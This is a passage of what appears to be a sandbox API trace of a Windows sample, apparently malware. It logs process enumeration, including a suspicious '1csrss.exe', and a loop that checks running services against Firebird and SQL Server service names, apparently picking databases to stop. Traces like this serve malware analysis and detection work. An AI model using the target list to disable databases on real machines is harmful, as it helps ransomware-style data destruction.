lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.481] lstrlenW (lpString="svchost.exe") returned 11 [0296.481] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.482] lstrlenW (lpString="svchost.exe") returned 11 [0296.482] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.483] lstrlenW (lpString="svchost.exe") returned 11 [0296.483] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.493] lstrlenW (lpString="svchost.exe") returned 11 [0296.493] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.494] lstrlenW (lpString="svchost.exe") returned 11 [0296.494] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.495] lstrlenW (lpString="svchost.exe") returned 11 [0296.495] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.495] lstrlenW (lpString="svchost.exe") returned 11 [0296.495] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.496] lstrlenW (lpString="svchost.exe") returned 11 [0296.496] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.497] lstrlenW (lpString="svchost.exe") returned 11 [0296.497] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0296.497] lstrlenW (lpString="spoolsv.exe") returned 11 [0296.498] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0296.498] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0296.498] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0296.499] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0296.499] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0296.500] lstrlenW (lpString="Memory Compression") returned 18 [0296.500] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.527] lstrlenW (lpString="svchost.exe") returned 11 [0296.527] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0296.528] lstrlenW (lpString="audiodg.exe") returned 11 [0296.528] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0296.529] lstrlenW (lpString="sihost.exe") returned 10 [0296.529] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.529] lstrlenW (lpString="svchost.exe") returned 11 [0296.529] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0296.530] lstrlenW (lpString="taskhostw.exe") returned 13 [0296.530] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0296.531] lstrlenW (lpString="explorer.exe") returned 12 [0296.531] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0296.531] lstrlenW (lpString="SearchUI.exe") returned 12 [0296.531] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0296.532] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0296.532] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0296.533] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0296.533] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0296.569] lstrlenW (lpString="1csrss.exe") returned 10 [0296.569] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.569] lstrlenW (lpString="svchost.exe") returned 11 [0296.569] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0296.570] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0296.570] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0296.571] lstrlenW (lpString="svchost.exe") returned 11 [0296.571] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0296.572] CloseHandle (hObject=0x4c4) returned 1 [0296.572] Sleep (dwMilliseconds=0x1f4) [0297.080] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7de150 [0297.081] EnumServicesStatusExW (in: hSCManager=0x7de150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0297.081] GetLastError () returned 0xea [0297.081] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x4570b80 [0297.081] EnumServicesStatusExW (in: hSCManager=0x7de150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4570b80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4570b80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0297.082] CloseServiceHandle (hSCObject=0x7de150) returned 1 [0297.082] lstrlenW (lpString="Appinfo") returned 7 [0297.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0297.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0297.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0297.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0297.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0297.082] lstrlenW (lpString="AppXSvc") returned 7 [0297.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0297.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0297.082] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0297.082] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0297.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0297.082] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0297.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0297.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0297.082] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0297.082] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0297.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0297.083] lstrlenW (lpString="Audiosrv") returned 8 [0297.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0297.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0297.083] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0297.083] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0297.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0297.083] lstrlenW (lpString="BFE") returned 3 [0297.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0297.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0297.083] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0297.083] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0297.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0297.083] lstrlenW (lpString="BITS") returned 4 [0297.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0297.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0297.083] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0297.083] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0297.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0297.083] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0297.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0297.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0297.083] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0297.083] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0297.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0297.083] lstrlenW (lpString="CDPSvc") returned 6 [0297.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0297.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0297.083] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0297.083] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0297.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0297.083] lstrlenW (lpString="ClickToRunSvc") returned 13 [0297.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0297.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0297.084] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0297.084] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0297.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0297.084] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0297.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0297.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0297.084] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0297.084] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0297.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0297.084] lstrlenW (lpString="CryptSvc") returned 8 [0297.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0297.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0297.084] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0297.084] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0297.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0297.084] lstrlenW (lpString="DcomLaunch") returned 10 [0297.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0297.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0297.084] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0297.084] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0297.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0297.084] lstrlenW (lpString="DeviceAssociationService") returned 24 [0297.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0297.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0297.084] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0297.084] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0297.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0297.084] lstrlenW (lpString="Dhcp") returned 4 [0297.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0297.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0297.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0297.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0297.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0297.085] lstrlenW (lpString="Dnscache") returned 8 [0297.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0297.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0297.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0297.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0297.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0297.085] lstrlenW (lpString="DoSvc") returned 5 [0297.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0297.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0297.085] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0297.085] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0297.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0297.085] lstrlenW (lpString="DPS") returned 3 [0297.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0297.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0297.085] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0297.085] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0297.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0297.085] lstrlenW (lpString="DusmSvc") returned 7 [0297.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0297.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0297.085] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0297.085] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0297.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0297.085] lstrlenW (lpString="EventLog") returned 8 [0297.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0297.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0297.085] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0297.085] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0297.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0297.086] lstrlenW (lpString="EventSystem") returned 11 [0297.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0297.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0297.086] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0297.086] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0297.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0297.086] lstrlenW (lpString="FontCache") returned 9 [0297.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0297.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0297.086] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0297.086] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0297.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0297.086] lstrlenW (lpString="gpsvc") returned 5 [0297.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0297.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0297.086] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0297.086] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0297.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0297.086] lstrlenW (lpString="iphlpsvc") returned 8 [0297.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0297.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0297.086] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0297.086] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0297.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0297.086] lstrlenW (lpString="KeyIso") returned 6 [0297.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0297.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0297.086] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0297.086] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0297.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0297.086] lstrlenW (lpString="LanmanServer") returned 12 [0297.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0297.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0297.087] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0297.087] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0297.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0297.087] lstrlenW (lpString="LanmanWorkstation") returned 17 [0297.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0297.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0297.087] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0297.087] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0297.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0297.087] lstrlenW (lpString="lfsvc") returned 5 [0297.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0297.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0297.087] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0297.087] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0297.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0297.087] lstrlenW (lpString="lmhosts") returned 7 [0297.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0297.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0297.087] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0297.087] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0297.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0297.087] lstrlenW (lpString="LSM") returned 3 [0297.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0297.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0297.087] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0297.087] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0297.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0297.087] lstrlenW (lpString="MapsBroker") returned 10 [0297.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0297.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0297.088] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0297.088] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0297.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0297.088] lstrlenW (lpString="MpsSvc") returned 6 [0297.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0297.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0297.088] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0297.088] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0297.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0297.088] lstrlenW (lpString="NcbService") returned 10 [0297.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0297.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0297.088] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0297.088] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0297.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0297.088] 